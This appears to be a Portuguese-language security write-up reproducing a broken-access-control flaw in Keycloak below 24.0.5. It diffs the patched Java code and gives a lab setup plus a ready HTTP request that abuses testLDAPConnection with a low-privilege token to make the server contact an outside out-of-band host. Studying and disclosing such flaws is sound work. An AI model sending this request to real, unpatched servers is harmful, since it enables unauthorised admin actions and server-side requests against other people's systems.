
A API de administração do Keycloak permite que usuários com privilégios baixos usem funções administrativas
Keycloak < 24.0.5 é vulnerável a uma falha de Controle de Acesso Quebrado, onde o atacante pode usar qualquer usuário autenticado para executar algumas ações de API, tais como:
Testar conexões LDAP por meio do endpoint testLDAPConnection. Recuperar atributos não gerenciados de qualquer usuário por meio do endpoint getUnmanagedAttributes. Acessar provedores de políticas de registro de clientes por meio do endpoint getProviders.
Só achei o testLDAPConnection interessante, onde um atacante pode interagir com LDAP para um host externo.
primeiro baixe a versão vulnerável do KeyCloak 24.0.4 daqui https://www.keycloak.org/archive/downloads-24.0.4.html
em seguida, extraia o arquivo Zip e execute o comando bin/kc.sh start-dev

Agora você o executará em localhost:8080. Crie uma nova conta de administrador e faça login nessa conta de administrador
agora crie um novo Realm para usuários comuns e, em seguida, crie um usuário com privilégios de usuário nesse realm

Com base no commit que corrige a vulnerabilidade "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
descobrimos que há 3 arquivos que foram modificados:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
Analisando a alteração de código em TestLdapConnectionResource.java:
(Código Vulnerável):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
Não havia nenhuma verificação de permissão. Qualquer usuário autenticado poderia chamar testLDAPConnection e realizar testes de LDAP, o que é uma ação administrativa.
(Código Corrigido):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}

A linha auth.realm().requireManageRealm(); foi adicionada para verificar se o usuário tem permissões de administrador (função manage_realm) no realm.
Isso significa que qualquer usuário de qualquer Realm pode enviar uma requisição para /admin/realms/users/testLDAPConnection
Agora, em um novo navegador, abra o link http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
Faça login com o usuário que você criou e, em seguida, faça grep do authorization: Bearer <>
envie uma requisição HTTP para o endpoint vulnerável:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
no parâmetro connectionUrl, coloque seu host externo e envie a requisição,
então você receberá a interação de DNS

você pode aplicar o mesmo com getUnmanagedAttributes e getProviders.
referência: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc